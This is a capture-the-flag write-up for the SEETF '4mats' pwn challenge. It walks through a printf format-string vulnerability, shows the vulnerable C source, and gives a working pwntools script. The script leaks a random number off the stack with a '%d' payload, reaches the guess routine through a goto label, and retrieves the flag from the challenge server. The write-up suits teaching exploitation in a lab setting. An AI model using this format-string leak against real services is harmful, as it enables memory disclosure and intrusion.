# 4mats
![Challenge](./Images/4mats_chall.PNG)
[Files](./Files/pwn_4mats.zip)
We are presented with a binary and its source c file for a program running on a server. Running the binary we are greeted with this:
```Welcome to SEETF!Please enter your name to register:```
After entering a name, the program responds with:
```Welcome: theF0X
Let's get to know each other!1. Do you know me?2. Do I know you?```
After entering '1', the program responds with:
```Guess my favourite number!1Not even close!```
After entering '2', the program responds with:
```Whats your favourite format of CTFs?cryptoSame! I lovecryptotoo!```
Upon entering a valid input, the program will return back to the menu.
Reading over the source, the goal seems to be to 'guess' a random number chosen by the program. If we are correct, there is a system call to print the flag file. 
```cvoid guess_me(int fav_num){    printf("Guess my favourite number!\n");    scanf("%d", &guess);    if (guess == fav_num){        printf("Yes! You know me so well!\n");    system("cat flag");        exit(0);}   else{       printf("Not even close!\n");   }
}```
Reading further we can see several labels, as well as a switch case for different user options. Looking more closely, we can see the vulnerability we need to exploit. A user-provided string is printed to the screen using `printf` with only one argument.
```ccase 2:mat5:        printf("Whats your favourite format of CTFs?\n");        read(0, format, 64);        printf("Same! I love \n");        printf(format);        printf("too!\n");        break;```
For those that don't know `printf` is used to print a format string. Format strings often require variables to be passed along with the string to `printf`. For example `ID: %d` requires an integer argument. If a format string requires an argument but none is passed, then `printf` simply begins reading values off the stack, where it thinks the argument should be.
The outline of an exploit begins to form:
1. Generate a random number.2. Leak values from the stack until we find the number.3. Call guess_me and provide the leaked number.4. Profit???
The only issue is calling guess_me without setting a new random number. Simply calling option 1 in the menu will trigger a new random number, making our leaked one worthless.
```c case 1:        srand(time(NULL));        int fav_num = rand() % 1000000;        set += 1;mat4:        guess_me(fav_num);        break;```
 Luckily there is a label (mat4) between the random number generator and the call to guess_me. In order to jump to that label we simple trigger the default switch case behavior and ensure that the variable 'set' is equal to 4. 
```cdefault:    printf("I print instructions 4 what\n");    if (set == 1)mat6:        goto mat1;    else if (set == 2)        goto mat2;    else if (set == 3)mat7:        goto mat3;    else if (set == 4)        goto mat4;    else if (set == 5)        goto mat5;    else if (set == 6)        goto mat6;    else if (set == 7)        goto mat7;    break;```
 We can trigger the default switch-case behavior by providing a number other than 1 or 2. And we can ensure 'set' is equal to 4 by calling case 1 four times(each time case one is triggered 'set' is incremented).
So the final exploit plan is as follows:
1. Trigger option 1 four times.2. Trigger option 2, and provide a format string that requires parameters3. Trigger default by sending number 3, provide leaked value to guess_me
#### Code
```pythonfrom pwn import *
#p = process("./distrib/vuln")p = remote("fun.chall.seetf.sg", 50001)
p.sendlineafter(b"Please enter your name to register:",b"theF0X")
for i in range(4):    p.sendlineafter(b"2. Do I know you?\n",b"1")    p.sendlineafter(b"Guess my favourite number!",b"0")
p.sendlineafter(b"2. Do I know you?\n",b"2")payload = b"%d " * 8 + b"\n"p.sendlineafter(b"Whats your favourite format of CTFs?\n", payload) #format stringp.recvline()#"Same! I love \n"data = p.recvline()arr = data.decode().split(" ")num = int(arr[6]) #leaked value
p.sendlineafter(b"2. Do I know you?\n",b"3")p.sendlineafter(b"Guess my favourite number!",str(num).encode())print(p.recvall())p.close()```
Note: I grabbed index 6 from the list of leaked values, it stood out to me because it was the smallest value. In reality, there was not much logic involved in picking the index.
**OUTPUT**
```#b'\nYes! You know me so well!\nSEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}\n'```